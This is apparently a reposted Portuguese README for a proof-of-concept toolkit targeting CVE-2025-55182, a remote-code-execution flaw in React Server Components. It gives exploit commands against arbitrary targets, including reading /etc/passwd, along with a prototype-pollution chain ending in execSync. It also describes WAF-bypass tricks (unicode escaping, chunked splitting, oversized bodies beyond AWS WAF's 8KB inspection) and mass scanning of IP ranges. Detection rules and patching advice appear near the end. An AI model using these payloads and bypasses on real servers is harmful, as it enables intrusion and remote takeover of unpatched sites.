CVE-2025-55182 POC & Detection

Coleção de ferramentas de exploração e detecção da vulnerabilidade de desserialização insegura em React Server Components (RSC)

Informações da Vulnerabilidade

• CVE-ID: CVE-2025-55182
• Versões afetadas: React 19.x, Next.js 15.x/16.x (ao usar App Router)
• Vetor de ataque: RCE via poluição de protótipo durante a desserialização do protocolo RSC Flight
• Gravidade: Crítico (CVSS 10.0)

📦 Componentes

1. Ambiente Vulnerável (Docker)

• docker-compose.yml - Next.js 15.0.3 + React 19.0.0-rc
• vulnerable-app/ - Código de Server Action vulnerável

2. Ferramenta de Exploração

• exploit_advanced.py - Suporte a múltiplas técnicas de ataque (Basic/Advanced/Chunked/Oversize)

3. Scanner de Vulnerabilidade

• rsc_vulnerability_checker_multi.py - Ferramenta de diagnóstico de vulnerabilidade para múltiplos alvos

4. Regras de Detecção IDS

• rules_priority_based - Conjunto de regras de detecção baseadas em prioridade Snort

🚀 Quick Start

1. Construir Ambiente Vulnerável

cd vulnerable-app
docker-compose up -d
# Verificar acesso em http://localhost:3000

2. Diagnóstico de Vulnerabilidade

# Testar URL única
python3 rsc_vulnerability_checker_multi.py http://localhost:3000

# Escanear lote de URLs
python3 rsc_vulnerability_checker_multi.py http://site1.com http://site2.com

# Escanear faixa de IPs
python3 rsc_vulnerability_checker_multi.py -r 192.168.1.1-254 -p 3000 --threads 20

# Ler de arquivo
python3 rsc_vulnerability_checker_multi.py -f targets.txt -o results.csv

3. Executar Exploração

# Ataque básico
python3 exploit_advanced.py -u http://localhost:3000 -c "whoami" --basic

# Ataque avançado (cadeia de protótipo + thenable)
python3 exploit_advanced.py -u http://localhost:3000 -c "id" --advanced

# Bypass de WAF - Codificação Unicode
python3 exploit_advanced.py -u http://target.com -c "cat /etc/passwd" --advanced --waf-bypass

# Bypass de WAF - Chunked Transfer Encoding
python3 exploit_advanced.py -u http://target.com -c "uname -a" --chunked

# Bypass de WAF - Oversize Payload (AWS WAF)
python3 exploit_advanced.py -u http://target.com -c "id" --oversize 65536

# Tentar todas as técnicas sequencialmente
python3 exploit_advanced.py -u http://target.com -c "whoami" --all -v

4. Testar Detecção em Rede

# Capturar tráfego de ataque
sudo tcpdump -i lo0 -w attack.pcap 'port 3000' &
python3 exploit_advanced.py -u http://localhost:3000 -c "id" --all
sudo pkill tcpdump

# Analisar com Snort
snort -c snort.conf -r attack.pcap -A console -k none

Detalhamento das Técnicas de Exploração

Modo Básico

Envio direto de payload RSC Flight

# Chamada direta de Server Action
POST /?__rsc_action__ HTTP/1.1
Content-Type: text/plain
next-action: <action_id>

["$@1",["$","$L2",null,{...}]]

Modo Avançado

RCE via poluição de protótipo (Prototype Pollution)

// Princípio central
{
  "then": "$1:__proto__:then",           // Aciona Chunk.prototype.then
  "_response": {                          // Injeta resposta falsa
    "_formData": {...},
    "_prefix": ""
  },
  "$1:constructor:constructor": Function  // Acesso ao construtor Function
}

Cadeia de ataque:

1. Poluição de __proto__ define Chunk.prototype.then
2. Injeção do objeto _response controla FormData
3. Manipulador $B chama response._formData.get(id)
4. Cadeia constructor:constructor acessa Function
5. Execução de process.mainModule.require('child_process').execSync(cmd)

Modo Chunked

Distribuição de padrão usando Transfer-Encoding

POST /?__rsc_action__ HTTP/1.1
Transfer-Encoding: chunked

10
["$@1",["$","
15
$L2",null,{"then
...

• Bypass de correspondência de padrões WAF (divisão de palavras-chave)
• Impossível inspecionar em buffer único

Modo Oversize

Bypass do limite de tamanho AWS WAF

payload = original_payload + "X" * (size - len(original_payload))
# AWS WAF: inspeciona apenas os primeiros 8KB
# Código de ataque real colocado após 8KB

📊 Prioridade das Regras de Detecção

Regras P0 (SID 2000xxx) - Bloqueio imediato

• process.mainModule.require + child_process + execSync
• __proto__ + resolved_model + módulo RCE
• Acesso a /etc/passwd, /etc/shadow, .ssh/id_rsa

📋 Requisitos

Obrigatório

• Docker & Docker Compose
• Python 3.8+
• Biblioteca requests
  root@kitploit:~

  pip install requests
  

Opcional (para teste de detecção)

• Snort 2.9+
• tcpdump

🔍 Como usar o Scanner de Vulnerabilidade

Uso básico

# URL única
python3 rsc_vulnerability_checker_multi.py http://target.com

# URLs múltiplas
python3 rsc_vulnerability_checker_multi.py http://site1.com http://site2.com

Uso avançado

# Escanear faixa de IPs (CIDR)
python3 rsc_vulnerability_checker_multi.py -r 192.168.1.0/24 -p 3000

# Escanear faixa de IPs (hífen)
python3 rsc_vulnerability_checker_multi.py -r 10.0.0.1-254 -p 8080 --threads 50

# Entrada/Saída de arquivo
python3 rsc_vulnerability_checker_multi.py -f targets.txt -o scan_results.csv

# Modo verboso
python3 rsc_vulnerability_checker_multi.py http://target.com -v

Formato de saída

[VULNERABLE] http://target.com:3000 - React 19.0.0-rc, Next.js 15.0.3
[SAFE] http://example.com:3000 - Não vulnerável
[ERROR] http://offline.com:3000 - Tempo limite de conexão

🎯 Opções da Ferramenta de Exploração

Modos de ataque

• --basic: Envio direto de payload RSC Flight
• --advanced: Técnica de cadeia de protótipo + thenable
• --chunked: Transferência em pedaços (Transfer-Encoding)
• --oversize <size>: Payload oversized (padrão: 65536 bytes)
• --all: Tentar todas as técnicas sequencialmente

Bypass de WAF

• --waf-bypass: Codificação Unicode (constructor → \u0063onstructor)
• --chunked: Distribuição de padrões
• --oversize: Bypass do limite de tamanho AWS WAF

Outros

• -v, --verbose: Saída detalhada
• -t, --timeout: Tempo limite da requisição (padrão: 10 segundos)

🛡 Defesa e Detecção

Nível de Aplicação

1. Atualizar React 19.0.0-rc → 19.0.0 (estável)
2. Atualizar Next.js 15.0.3 → 15.1.0+
3. Reforçar validação de entrada de Server Actions
4. Desabilitar recursos experimental

Nível de Rede

1. Aplicar regras Snort (rules_priority_based)
2. Políticas WAF:
   • Bloquear palavra-chave __proto__
   • Bloquear padrão process.mainModule.require
   • Limitar tamanho do corpo POST (< 1MB)
3. Rate Limiting (limitar requisições de Server Action)

Monitoramento

# Monitoramento em tempo real com Snort
snort -c snort.conf -i eth0 -A console

# Análise de arquivo de log
snort -c snort.conf -r network.pcap -A fast

Este post é destinado exclusivamente para fins de pesquisa, educação e validação de diagnóstico.